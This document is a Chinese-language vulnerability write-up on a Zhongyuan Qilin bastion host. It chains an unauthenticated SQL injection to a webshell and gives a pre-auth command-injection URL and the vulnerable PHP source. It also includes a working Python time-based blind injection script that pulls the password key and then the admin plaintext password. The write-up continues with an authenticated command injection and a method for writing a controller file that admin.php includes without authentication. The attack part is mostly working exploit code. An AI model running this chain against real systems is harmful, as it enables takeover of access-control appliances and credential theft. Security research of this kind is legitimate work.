中远麒麟堡垒机SQLi->webshell

早在之前v1.6时，有一个简单的pre-auth RCE

1
https://target/get_luser_by_sshport.php?clientip=1;command;&clientport=1

之后升级到了v1.7，也就是这次hvv爆出sqli的版本，其实在v1.6时就已经因为这个写法出了一堆sql注入，但不是很明白为什么没改，在hvv中爆出来的只有延时检测的poc，下面来看看怎么把这个没回显的注入转化到rce写入webshell

首先这个版本由于架构的调整，认证前可以访问的功能已经很少了，在 admin.php 193行开始，可以看到这次爆出来的注入

1
2
3
4
else if($_GET['controller']=='admin_commonuser'){ 
	$username=$_POST['username']; 
	$password=$_POST['password']; 
	$minfo = $member->select_all("username='".$username."'");

username直接从post传入并且带入字符串，跟入 select_all，函数定义在 model/base_set.class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public function select_all($where = '1=1', $orderby1 = '', $orderby2 = 'DESC') { 
	if($orderby1 == '') { 
		$orderby1 = $this->id_name; 
	} 
	return $result = $this->base_select("SELECT * FROM `$this->table_name` WHERE $where ORDER BY $orderby1 $orderby2"); 
}

function base_select($query) {
	$result = $this->query($query);
	if (!$result) {
		return NULL;
	}
	else if(mysql_num_rows($result) == 0) {
		return NULL;
	}
	else {
		while($row = mysql_fetch_assoc($result)) {
			$data[] = $row;
		}
		return $data;
	}
}

public function query($query) {
	global $_CONFIG;
	if($_CONFIG['DB_DEBUG']){
		echo $query . "<br>";
	}
	//echo $query;
	$result = mysql_query($query);
	if($result === false) {
		// echo "SQL:" . $query . "<br>";
		if($_CONFIG['DB_DEBUG']){
			echo "Error:" . mysql_error() . "<br>";
		}else{
			echo "Error: database error<br>";
		}
	}
	return $result;
}

可以看到直接带入了 mysql_query 造成注入，这里在 base_query 中加了一个打印错误信息的方便看到结果，实际操作该注入不回显

在有注入之后，开始考虑怎么获取库里的数据，由于这个系统目前登录只是查了用户名然后再做密码比较，之后全用session，首先考虑的是怎么获取到管理员口令来完成用户登录，然而库里存的密码是不可见字符

跟踪一下密码经过了什么处理

1
2
3
4
5
6
7
8
9
public function udf_decrypt($password, $udf=0){//return $password;
    global $_CONFIG;
    $password=addcslashes($password,'\\\'');
    if(!$udf && $_CONFIG['PASSWORD_ENCRYPT_TYPE'])
        $p = $this->base_select("SELECT AES_DECRYPT('".($password)."','".$_CONFIG['PASSWORD_KEY']."') as pass");
    else
        $p = $this->base_select("SELECT udf_decrypt('".($password)."') as pass");
    return $p[0]['pass'];
}

这里的 $_CONFIG['PASSWORD_ENCRYPT_TYPE'] 来源于库中的 PASSWORD_ENCRYPT_TYPE，默认开启

那么需要找一下 $_CONFIG['PASSWORD_KEY'] 是什么

1
2
$PasswordKey = $settingobj->base_select("SELECT udf_decrypt(svalue) AS pass FROM setting WHERE  sname='PasswordKey'");
$_CONFIG['PASSWORD_KEY'] = $PasswordKey[0]['pass'];

那么就比较清晰了，使用延时先从表中取到 PasswordKey，再使用这个key通过延时去获取admin的明文密码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payloads = '_-@.,' + string.digits + string.ascii_letters

def doSqli(subsql):    
    result = ''
    checkUrl = target + '/admin.php?controller=admin_index&action=chklogin&frommc=1&username=admin\' and if(ascii(substr((' + subsql + '),%d,1))=%d,sleep(5),1)%%23--'
    for i in range(30):
        for payload in payloads:
            try:
                req.get(checkUrl % (i+1, ord(payload)), timeout=3, verify=False)
            except requests.exceptions.ReadTimeout as ex:
                result += payload
            except Exception as e:
                pass
    return result

def doGetPass():
    subsql = "SELECT udf_decrypt(svalue) AS pass FROM setting WHERE  sname='PasswordKey'"
    print('[+] get passwordKey')
    PasswordKey = doSqli(subsql)
    print('[!] PasswordKey: ' + PasswordKey)
    subsql = "select aes_decrypt(password,'%s') from member where username='admin'" % PasswordKey
    print('[+] get admin pass')
    password = doSqli(subsql)
    print('[!] admin password: ' + password)
    return password

在获取到admin密码后，我们有了访问认证后功能的能力，那么找一下认证后的漏洞，其实这个就很简单了，随便找一下就有很多命令注入，比如 c_admin_vpnlog.class.php 中的 cut 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function cut(){
    global $_CONFIG;
    $username= get_request('username', 0, 1);
    $cmd = $_CONFIG['CONFIGFILE']['VPNCUT']." ".$username;
    $a = exec($cmd, $o, $r);
    if($r==0){
        $this->member_set->query("UPDATE member set vpn=0 where username='".$username."'");
        alert_and_back('操作成功');
        return ;
    }
    alert_and_back('操作失败');
}

这里有个小问题，那就是 get_request 中其实做了一次传参的的转义，所以类似重定向之类的符号不能直接用，但这个很好绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
function daddslashes($string, $force = 0) {
    if(!MAGIC_QUOTES_GPC || $force) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val, $force);
            }
        } else {
            $string = htmlspecialchars(addslashes($string));
        }
    }
    return ($string);
}

到这里已经有一个命令执行了，但我希望实现webshell，这里的条件不是那么完美，因为当前的nginx配置为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 location ~ admin.php$ {
    root /opt/freesvr/web/htdocs/freesvr/audit/public/;
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index admin.php;
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    include fastcgi_params;
    fastcgi_param  VERIFIED $ssl_client_verify;
    fastcgi_param  DN $ssl_client_s_dn;
    fastcgi_connect_timeout 300;
    fastcgi_read_timeout 600;
    fastcgi_send_timeout 600;
}

这也导致不管怎么写文件其实都是没办法访问的，因为除了 admin.php 之外其实都不给解析到php，随后在继续阅读 admin.php 代码时发现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if(isset($_GET['controller'])) {
	$controller = 'c_' . $_GET['controller'];
}
else {
	$controller = 'c_admin_index';
}

if(!empty($_GET['action'])) {
	$action = $_GET['action'];
}
else {
	$action = 'index';
}
$language = array('en','cn');
// ...
require_once(ROOT . './include/language_cn.php');
if(in_array(LANGUAGE,$language)){
	require_once(ROOT . './include/language_'.LANGUAGE.'.php');
}
if($_SESSION['ADMIN_UID']){ /* ... */ }
if(file_exists(ROOT ."./controller/$controller.class.php")) {
	require_once(ROOT ."./controller/$controller.class.php");	
    if((!isset($_SESSION["ADMIN_LOGINED"]) || $_SESSION["ADMIN_LOGINED"] == false) && ($action != 'login_user_field' && $action != 'login' && $action !='chklogin' && $action != 'getpwd'&& $action != 'docronreports'&& $action != 'synchronization_ad_users'&& $action != 'synchronization_ldap_users'&&$action!='get_user_login_fristauth'&& $action != 'get_sms'&& $action != 'get_email'&&$action!='get_weixin'&&$action!='qrcodeimage'&&$action!='watertext')) { 
        /* 跳回登录 */
    }
    else {
        /* 权限控制 */
    }

在对是否登录的检查(这里并不会跳回登录页)之后，就开始取 controller 与 action，将对应的controller文件包含进来后再开始判断是否需要跳回登录与权限校验，那么如果写入一个 ./controller/c_shell.class.php，再走 admin.php 来包含不就可以完成webshell吗，并且还可以无需认证即可访问

到此，就可以实现从未授权sqli->webshell

文章目录